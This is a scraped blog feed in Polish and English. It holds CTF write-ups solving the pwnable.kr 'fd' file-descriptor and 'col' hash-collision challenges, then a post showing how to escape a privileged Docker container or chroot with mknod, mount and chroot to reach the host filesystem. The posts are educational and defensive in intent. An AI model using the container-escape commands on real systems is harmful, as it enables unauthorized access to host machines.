<span class="go">-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag</span>
</pre></div>
<p>flaga znajduje się w pliku <tt class="docutils literal">flag</tt>, natomiast nie mamy do niego dostępu.
Mamy natomiast możliwość wykonania programu <tt class="docutils literal">fd</tt>, który ma ustawiony <tt class="docutils literal">suid</tt> pozwalający na odczyt flagi.</p>
<p>Uruchomienie aplikacji daje następujące wyjście:</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ./fd
<span class="go">pass argv[1] a number</span>
</pre></div>
<p>Dlatego sprawdźmy co robi ta aplikacja.
Kod programu znajduje się w pliku <tt class="docutils literal">fd.c</tt></p>
<table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre> 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21</pre></div></td><td class="code"><div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[],</span> <span class="kt">char</span><span class="o">*</span> <span class="n">envp</span><span class="p">[]){</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span><span class="o"><</span><span class="mi">2</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"pass argv[1] a number</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">)</span> <span class="o">-</span> <span class="mh">0x1234</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">len</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">32</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="s">"LETMEWIN</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">buf</span><span class="p">)){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"good job :)</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">system</span><span class="p">(</span><span class="s">"/bin/cat flag"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"learn about Linux file IO</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</td></tr></table><p>Patrząc na kod, widzimy w liniach 6-8, że aplikacja wymaga co najmniej jednego argumentu.</p>
<p>Następnie, w linii 10 widzimy tworzenie zmiennej <tt class="docutils literal">fd</tt> będącą wyliczeniem naszego argumentu, zrzutowanego do typu <tt class="docutils literal">int</tt>, a następnie pomniejszonego o wartość heksadecymalną <tt class="docutils literal">0x1234</tt>.</p>
<p>W linii 12 widzimy, że wyliczona wartość <tt class="docutils literal">fd</tt> jest używana jako wartość <tt class="docutils literal">file descriptor</tt> przy odczycie danych, które następnie zostają zapisane do zmiennej <tt class="docutils literal">buf</tt>.</p>
<p>Ostatecznie w linii 13, sprawdzane jest, czy wczytany bufor równy jest stringowi <tt class="docutils literal">LETMEWIN</tt>.</p>
<p>Ponieważ domyślnie podczas uruchamiania aplikacji otwierane są trzy deskryptory plików:</p>
<ul class="simple">
<li><tt class="docutils literal">0</tt>: standardowe wejście</li>
<li><tt class="docutils literal">1</tt>: standardowe wyjście</li>
<li><tt class="docutils literal">2</tt>: standardowe wyjście błędów</li>
</ul>
<p>najprościej będzie użyć istniejącego standardowego wejścia, czyli klawiatury do wczytania bufora.</p>
<p>Aby otrzymać <tt class="docutils literal">0</tt> w zmiennej <tt class="docutils literal">fd</tt>, musimy jako argument przekazać wartość <tt class="docutils literal">0x1234</tt> w zapisie dziesiętnym.</p>
<p>Sposobem którego ja używam do przeliczania takich wartości, jest użycie <tt class="docutils literal">pythona</tt></p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> python
<span class="go">Python 2.7.12 (default, Nov 12 2018, 14:36:49)</span>
<span class="go">[GCC 5.4.0 20160609] on linux2</span>
<span class="go">Type "help", "copyright", "credits" or "license" for more information.</span>
<span class="gp">></span>>> 0x1234
<span class="go">4660</span>
</pre></div>
<p>Następnie wystarczy uruchomić program <tt class="docutils literal">fd</tt> z argumentem <tt class="docutils literal">4660</tt> oraz wpisać oczekiwaną frazę <tt class="docutils literal">LETMEWIN</tt>.</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ./fd <span class="m">4660</span>
<span class="go">LETMEWIN</span>
<span class="go">good job :)</span>
<span class="go">mommy! I think I know what a file descriptor is!!</span>
</pre></div>
<p>I otrzymaliśmy flagę.</p>
fd - pwnable.kr2019-06-02T00:00:00+02:002019-06-02T00:00:00+02:00TORGirentag:blog.fabrykowski.pl,2019-06-02:/pwnable-fd-en.html<p>In this post we're going to solve <tt class="docutils literal">fd</tt> challenge from <a class="reference external" href="https://pwnable.kr">pwnable</a>.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/EtMYdsvIRmo" allowfullscreen seamless frameBorder="0"></iframe></div><p>We can log in by ssh:</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> ssh fd@pwnable.kr -p2222
</pre></div>
<p>with password <tt class="docutils literal">guest</tt>.</p>
<p>After log in, we can see three files:</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ls -l
<span class="go">total 16</span>
<span class="go">-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd</span>
<span class="go">-rw-r--r-- 1 …</span></pre></div><p>In this post we're going to solve <tt class="docutils literal">fd</tt> challenge from <a class="reference external" href="https://pwnable.kr">pwnable</a>.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/EtMYdsvIRmo" allowfullscreen seamless frameBorder="0"></iframe></div><p>We can log in by ssh:</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> ssh fd@pwnable.kr -p2222
</pre></div>
<p>with password <tt class="docutils literal">guest</tt>.</p>
<p>After log in, we can see three files:</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ls -l
<span class="go">total 16</span>
<span class="go">-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd</span>
<span class="go">-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c</span>
<span class="go">-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag</span>
</pre></div>
<p>The flag is placed in <tt class="docutils literal">flag</tt> file, but we cannot access it.
But we can run <tt class="docutils literal">fd</tt> application, which has set <tt class="docutils literal">suid</tt> flag, what allows it to read the flag.</p>
<p>After execute <tt class="docutils literal">fd</tt>:</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ./fd
<span class="go">pass argv[1] a number</span>
</pre></div>
<p>So, we have to check out, what <tt class="docutils literal">fd</tt> do.
The source code is located in <tt class="docutils literal">fd.c</tt></p>
<table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre> 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21</pre></div></td><td class="code"><div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[],</span> <span class="kt">char</span><span class="o">*</span> <span class="n">envp</span><span class="p">[]){</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span><span class="o"><</span><span class="mi">2</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"pass argv[1] a number</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">)</span> <span class="o">-</span> <span class="mh">0x1234</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">len</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">32</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="s">"LETMEWIN</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">buf</span><span class="p">)){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"good job :)</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">system</span><span class="p">(</span><span class="s">"/bin/cat flag"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"learn about Linux file IO</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</td></tr></table><p>As we can see, lines 6-8 forces application to check there is a least one argument.</p>
<p>Next, in line 10, we can see, that it initialize <tt class="docutils literal">fd</tt> variable with passed argument, cast to <tt class="docutils literal">int</tt> type, and next substituted with hexadecimal <tt class="docutils literal">0x1234</tt>.</p>
<p>In line 12, we can see, that <tt class="docutils literal">fd</tt> is used as <tt class="docutils literal">file descriptor</tt> in <tt class="docutils literal">read</tt> function, and the read data are stored in <tt class="docutils literal">buf</tt>.</p>
<p>At last, in line 13 we compare read buffer with string <tt class="docutils literal">LETMEWIN</tt>.</p>
<p>Because, there are the default file descriptors:</p>
<ul class="simple">
<li><tt class="docutils literal">0</tt>: standard in</li>
<li><tt class="docutils literal">1</tt>: standard out</li>
<li><tt class="docutils literal">2</tt>: standard error out</li>
</ul>
<p>The easies way to read buffer will be using existing input - keyboard.</p>
<p>To get <tt class="docutils literal">fd</tt> value equal to <tt class="docutils literal">0</tt>, we have to pass value <tt class="docutils literal">0x1234</tt> to command line argument, but in decimal.</p>
<p>Personally, I prefer using python to calculate hex <=> decimal values</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> python
<span class="go">Python 2.7.12 (default, Nov 12 2018, 14:36:49)</span>
<span class="go">[GCC 5.4.0 20160609] on linux2</span>
<span class="go">Type "help", "copyright", "credits" or "license" for more information.</span>
<span class="gp">></span>>> 0x1234
<span class="go">4660</span>
</pre></div>
<p>Next, we have to run <tt class="docutils literal">fd</tt> with argument <tt class="docutils literal">4660</tt> and type <tt class="docutils literal">LETMEWIN</tt>.</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ./fd <span class="m">4660</span>
<span class="go">LETMEWIN</span>
<span class="go">good job :)</span>
<span class="go">mommy! I think I know what a file descriptor is!!</span>
</pre></div>
<p>And we've got the flag</p>
col - pwnable.kr2019-03-11T00:00:00+01:002019-03-11T00:00:00+01:00TORGirentag:blog.fabrykowski.pl,2019-03-11:/pwnable-col-en.html<p>Today we're going to solve collision task from <a class="reference external" href="https://pwnable.kr">pwnable</a>.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/hHwLdkF9j_Y" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="analysis">
<h2>Analysis</h2>
<p>We can log in by ssh:</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> ssh col@pwnable.kr -p2222
</pre></div>
<p>with password <tt class="docutils literal">guest</tt>.</p>
<p>After log in, we can see three files:</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ls -l
<span class="go">total 16</span>
<span class="go">-r-sr-x--- 1 col_pwn col 7341 Jun 11 2014 col</span>
<span class="go">-rw-r--r-- 1 root …</span></pre></div></div><p>Today we're going to solve collision task from <a class="reference external" href="https://pwnable.kr">pwnable</a>.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/hHwLdkF9j_Y" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="analysis">
<h2>Analysis</h2>
<p>We can log in by ssh:</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> ssh col@pwnable.kr -p2222
</pre></div>
<p>with password <tt class="docutils literal">guest</tt>.</p>
<p>After log in, we can see three files:</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ls -l
<span class="go">total 16</span>
<span class="go">-r-sr-x--- 1 col_pwn col 7341 Jun 11 2014 col</span>
<span class="go">-rw-r--r-- 1 root root 555 Jun 12 2014 col.c</span>
<span class="go">-r--r----- 1 col_pwn col_pwn 52 Jun 11 2014 flag</span>
</pre></div>
<p>flag is located in <tt class="docutils literal">flag</tt> file, but we cannot read it.
We can run <tt class="docutils literal">col</tt> with has <tt class="docutils literal">suid</tt> flag set and it can read the flag.</p>
<p>When we run <tt class="docutils literal">col</tt>:</p>
<div class="highlight"><pre><span></span><span class="gp">fd@ubuntu:~$</span> ./col
<span class="go">usage : ./col [passcode]</span>
</pre></div>
<p>Let's take a look at the source code:</p>
<table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre> 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31</pre></div></td><td class="code"><div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">hashcode</span> <span class="o">=</span> <span class="mh">0x21DD09EC</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="nf">check_password</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">p</span><span class="p">){</span>
<span class="kt">int</span><span class="o">*</span> <span class="n">ip</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="o">*</span><span class="p">)</span><span class="n">p</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">res</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o"><</span><span class="mi">5</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="n">res</span> <span class="o">+=</span> <span class="n">ip</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span><span class="o"><</span><span class="mi">2</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"usage : %s [passcode]</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">!=</span> <span class="mi">20</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"passcode length should be 20 bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">hashcode</span> <span class="o">==</span> <span class="n">check_password</span><span class="p">(</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">)){</span>
<span class="n">system</span><span class="p">(</span><span class="s">"/bin/cat flag"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"wrong passcode.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</td></tr></table><p>In lines 15-22 we can see, that application expect user to provide one argument with length of 20 bytes.</p>
<p>Next, in line 24, we can see, that result of function <tt class="docutils literal">check_password</tt> with provided argument has to be equal <tt class="docutils literal">hashcode</tt> with value <tt class="docutils literal">0x21DD09EC</tt>.</p>
<p>The main goal of this task is to analyze <tt class="docutils literal">check_password</tt> function and find value of argument <tt class="docutils literal">p</tt>, which will produce value <tt class="docutils literal">0x21DD09EC</tt>.</p>
<p>Function <tt class="docutils literal">check_password</tt> interpret 20 bytes char table as table of integer values.</p>
<p>We have to find the size of <tt class="docutils literal">int</tt> integer to know how many integers are in table.</p>
<div class="highlight"><pre><span></span><span class="gp">col@ubuntu:~$</span> file col
<span class="go">col: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=05a10e253161f02d8e6553d95018bc82c7b531fe, not stripped</span>
</pre></div>
<p>We can see, that this is a 32-bit application, so most likely integer has 32 bits size, so 4 bytes.</p>
<p>There we can calculate, that 20 bytes string with be interpreted as 5 elements integer array.</p>
<p>Next, we have to check bit numbering.</p>
<div class="highlight"><pre><span></span><span class="gp">col@ubuntu:~$</span> readelf col -h
<span class="go">ELF Header:</span>
<span class="go"> Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00</span>
<span class="go"> Class: ELF32</span>
<span class="go"> Data: 2's complement, little endian</span>
<span class="go"> Version: 1 (current)</span>
<span class="go"> OS/ABI: UNIX - System V</span>
<span class="go"> ABI Version: 0</span>
<span class="go"> Type: EXEC (Executable file)</span>
<span class="go"> Machine: Intel 80386</span>
<span class="go"> Version: 0x1</span>
<span class="go"> Entry point address: 0x80483e0</span>
<span class="go"> Start of program headers: 52 (bytes into file)</span>
<span class="go"> Start of section headers: 4428 (bytes into file)</span>
<span class="go"> Flags: 0x0</span>
<span class="go"> Size of this header: 52 (bytes)</span>
<span class="go"> Size of program headers: 32 (bytes)</span>
<span class="go"> Number of program headers: 9</span>
<span class="go"> Size of section headers: 40 (bytes)</span>
<span class="go"> Number of section headers: 30</span>
<span class="go"> Section header string table index: 27</span>
</pre></div>
<p>As we can see, there is <tt class="docutils literal">little endian</tt>.</p>
</div>
<div class="section" id="exploit">
<h2>Exploit</h2>
<p>To solve this task, we have to provide such string, that sum of 5 integer from that string will be equal to <tt class="docutils literal">0x21DD09EC</tt>.
To do so, we have to find 5 values witch sum will be <tt class="docutils literal">0x21DD09EC</tt> and then write them up as a list of bytes.</p>
<p>I will use a python as a calculator.</p>
<p>First, let's divide result by 5, and find the flor of that number.
Then find the fifth number remainders.</p>
<div class="highlight"><pre><span></span><span class="o">>>></span> <span class="mh">0x21DD09EC</span><span class="o">/</span><span class="mf">5.0</span>
<span class="mf">113626824.8</span>
<span class="o">>>></span> <span class="mh">0x21DD09EC</span> <span class="o">-</span> <span class="mi">5</span> <span class="o">*</span> <span class="mi">113626824</span>
<span class="mi">4</span>
<span class="o">>>></span> <span class="nb">hex</span><span class="p">(</span><span class="mi">113626824</span><span class="p">)</span>
<span class="s1">'0x6c5cec8'</span>
<span class="o">>>></span> <span class="nb">hex</span><span class="p">(</span><span class="mh">0x6c5cec8</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span>
<span class="s1">'0x6c5cecc'</span>
<span class="o">>>></span> <span class="mi">4</span> <span class="o">*</span> <span class="mh">0x6c5cec8</span> <span class="o">+</span> <span class="mh">0x6c5cecc</span> <span class="o">==</span> <span class="mh">0x21DD09EC</span>
<span class="bp">True</span>
</pre></div>
<p>As we can see, we have to pass <tt class="docutils literal">0x6c5cec8</tt> four times, and <tt class="docutils literal">0x6c5cecc</tt> one time</p>
<p>Because bytes are interpreted as little endian, we have to pass then in reverse order.</p>
<p>We will use bash to echo hexadecimal values</p>
<div class="highlight"><pre><span></span><span class="gp">col@ubuntu:~$ ./col $</span><span class="o">(</span><span class="nb">echo</span> -ne <span class="s2">"\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06"</span><span class="o">)</span>
<span class="go">daddy! I just managed to create a hash collision :)</span>
</pre></div>
<p>And we've got a flag</p>
</div>
Hacking the chroot/docker2019-03-04T00:00:00+01:002019-03-04T00:00:00+01:00TORGirentag:blog.fabrykowski.pl,2019-03-04:/chroot-breaking-1.html<p>W tym poście pokażę jak mając <em>root</em> w <em>chroot</em> dostać się do systemu nadzorcy.
Tym samym chcę pokazać, dlaczego nie należy przyznawać praw administratora użytkownikowi nawet w <em>chroot</em>.</p>
<div class="section" id="crash-course">
<h2>Crash course</h2>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/TQRcC2OEHn8" allowfullscreen seamless frameBorder="0"></iframe></div><p>Ponieważ <em>docker</em> (podobnie jak większość technologi kontenerowych) używa <em>chroot</em>-a, wyjście z <em>chroot</em> czy <em>docker</em> sprowadza się do tej samej …</p></div><p>W tym poście pokażę jak mając <em>root</em> w <em>chroot</em> dostać się do systemu nadzorcy.
Tym samym chcę pokazać, dlaczego nie należy przyznawać praw administratora użytkownikowi nawet w <em>chroot</em>.</p>
<div class="section" id="crash-course">
<h2>Crash course</h2>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/TQRcC2OEHn8" allowfullscreen seamless frameBorder="0"></iframe></div><p>Ponieważ <em>docker</em> (podobnie jak większość technologi kontenerowych) używa <em>chroot</em>-a, wyjście z <em>chroot</em> czy <em>docker</em> sprowadza się do tej samej metody.
Poniższa metoda wymaga posiadania konta <em>root</em> w kontenerze uruchomionego z uprawnieniami <em>privileged</em> (w przypadku <em>docker</em>)</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> docker run -it --privileged centos /bin/bash
<span class="gp">#</span> mknod /tmp/host_disk b <span class="m">259</span> <span class="m">1</span>
<span class="gp">#</span> mount /tmp/host_disk /mnt/
<span class="gp">#</span> chroot /mnt/ /bin/bash
</pre></div>
</div>
<div class="section" id="analiza-metody">
<h2>Analiza metody</h2>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/CVRyg4fYdq4" allowfullscreen seamless frameBorder="0"></iframe></div><p>Metoda ta wykorzystuje <em>chroot</em> do <em>filesystem</em>-u systemu głównego.
Ponieważ w <em>chroot</em> najczęściej nie mamy zamontowanego katalogu <tt class="docutils literal">/dev/</tt>, a tym samym, nie możemy zamontować <em>filesystem</em>-u nadzorcy, musimy samodzielnie utworzyć urządzenie odpowiadające dyskowi z tymże <em>filesystem</em>-em.</p>
<p>Urządzenia w Linuksie są specjalnymi plikami.
W kontekście urządzeń, najczęściej wyróżniamy urządzenia blokowe oraz znakowe.
Urządzenia znakowe, jak sama nazwa wskazuje, prowadzą komunikację znak po znaku, natomiast urządzenia blokowe poprzez bloki.
Najczęściej również urządzenia znakowe pozwalają jedynie na odczyt i zapis. Takimi urządzeniami mogą być mysz, klawiatura, urządzenie <tt class="docutils literal">/dev/random</tt>, pseudo-terminale.
Urządzenia blokowe najczęściej pozwalają na adresowanie oraz dowolny dostęp. Przykładem takiego urządzenia jest np: dysk twardy, cdrom.</p>
<p>Każdy specjalny plik reprezentujący urządzenie jest określany przez trzy parametry:</p>
<ul class="simple">
<li>typ: czy jest to urządzenie blokowe, czy znakowe</li>
<li>major: numer główny typu urządzenia</li>
<li>minor: numer pomocniczy typu urządzenia</li>
</ul>
<p>Jądro systemu Linuks bazując na typie oraz numerach major i minor wie do którego sterownika przekierować obsługę operacji na danym urządzeniu.
Lista zdefiniowanych numerów major i minor wraz z typami znajduje się w <a class="reference external" href="https://github.com/torvalds/linux/blob/master/Documentation/admin-guide/devices.txt">dokumentacji jądra Linuksa</a></p>
<p>Aby utworzyć specjalny plik urządzenia, należy użyć polecenia <tt class="docutils literal">mknod</tt>.
I tutaj pojawia się problem.
Ponieważ musimy znać major i minor dysku, dla którego chcemy utworzyć plik urządzenia, dlatego <em>odgadnięcie</em> tych wartości jest jedyną trudnością jaka nas czeka.
Posiłkując się dokumentacją widzimy, że urządzenia blokowe o majorze 3, to są dyski IDE, natomiast major 8 to są dyski SCSI.
Warto rozpocząć szukanie odpowiedniego dysku od tych wartości.
Jeżeli nie jest to żaden ze standardowych dysków, można w pętli utworzyć wszystkie urządzenia próbując znaleźć odpowiednie.</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> docker run --rm -it --privileged centos /bin/bash
<span class="gp">#</span> mkdir /tmp/devices
<span class="gp">#</span> <span class="nb">cd</span> /tmp/devices/
<span class="gp">#</span> <span class="k">for</span> i in <span class="k">$(</span>seq <span class="m">1</span> <span class="m">300</span><span class="k">)</span><span class="p">;</span> <span class="k">do</span> mknod device_<span class="nv">$i</span> b <span class="nv">$i</span> <span class="m">0</span><span class="p">;</span> <span class="k">done</span>
<span class="gp">#</span> ls -l
<span class="go">brw-r--r--. 1 root root 1, 0 Feb 10 16:57 device_1</span>
<span class="go">brw-r--r--. 1 root root 10, 0 Feb 10 16:57 device_10</span>
<span class="go">brw-r--r--. 1 root root 100, 0 Feb 10 16:57 device_100</span>
<span class="go">brw-r--r--. 1 root root 101, 0 Feb 10 16:57 device_101</span>
<span class="go">brw-r--r--. 1 root root 102, 0 Feb 10 16:57 device_102</span>
<span class="go">brw-r--r--. 1 root root 103, 0 Feb 10 16:57 device_103</span>
<span class="go">brw-r--r--. 1 root root 104, 0 Feb 10 16:57 device_104</span>
<span class="go">(...)</span>
<span class="gp">#</span> fdisk -l * <span class="m">2</span>>/dev/null
<span class="go">Disk device_1: 16 MB, 16777216 bytes, 32768 sectors</span>
<span class="go">Units = sectors of 1 * 512 = 512 bytes</span>
<span class="go">Sector size (logical/physical): 512 bytes / 512 bytes</span>
<span class="go">I/O size (minimum/optimal): 512 bytes / 512 bytes</span>
<span class="go">Disk device_253: 44.0 GB, 44023414784 bytes, 85983232 sectors</span>
<span class="go">Units = sectors of 1 * 512 = 512 bytes</span>
<span class="go">Sector size (logical/physical): 512 bytes / 512 bytes</span>
<span class="go">I/O size (minimum/optimal): 512 bytes / 512 bytes</span>
<span class="go">Disk label type: dos</span>
<span class="go">Disk identifier: 0x0009b93d</span>
<span class="go"> Device Boot Start End Blocks Id System</span>
<span class="go">device_253p1 * 2048 83886079 41942016 83 Linux</span>
</pre></div>
<p>Widzimy, że tylko dwa urządzenia zostały rozpoznane: <tt class="docutils literal">device_1</tt> oraz <tt class="docutils literal">device_253</tt>.
<tt class="docutils literal">device_1</tt> to <tt class="docutils literal">RAM disk</tt>, więc nas nie interesuje, natomiast drugie urządzenie wygląda jak dysk nadzorcy.
Gdyby nie udało się tutaj znaleźć interesującego nas dysku, należałoby rozszerzyć poszukiwania o numery minorów inne niż 0.
Ponieważ minor 0 oznacza cały dysk, a my musimy uzyskać dostęp do partycji, musimy utworzyć urządzenie tejże partycji.</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> mknod device_253_1 b <span class="m">253</span> <span class="m">1</span>
</pre></div>
<p>Mając takie urządzenie, możemy przystąpić do standardowej procedury wykonania <em>chroot</em>, czyli zamontowanie partycji oraz wykonanie polecenia <tt class="docutils literal">chroot</tt>.</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> mount device_253_1 /mnt/
<span class="gp">#</span> chroot /mnt/ /bin/bash
</pre></div>
<p>Tym sposobem udało nam się dostać do systemu nadzorcy wychodząc z <em>chroot</em> w którym posiadaliśmy prawa <em>root</em>.</p>
</div>
Hacking the chroot/docker2019-03-04T00:00:00+01:002019-03-04T00:00:00+01:00TORGirentag:blog.fabrykowski.pl,2019-03-04:/chroot-breaking-1-en.html<p>In this post I'm going to access supervisor's filesystem when having <em>root</em> in <em>chroot</em>.
With that, I want to show you, why you should never give root access to users in <em>chroot</em>.</p>
<div class="section" id="crash-course">
<h2>Crash course</h2>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/TQRcC2OEHn8" allowfullscreen seamless frameBorder="0"></iframe></div><p>Because <em>docker</em> (like most of container technologies) uses <em>chroot</em>, exiting a <em>chroot</em> or <em>docker</em> will use …</p></div><p>In this post I'm going to access supervisor's filesystem when having <em>root</em> in <em>chroot</em>.
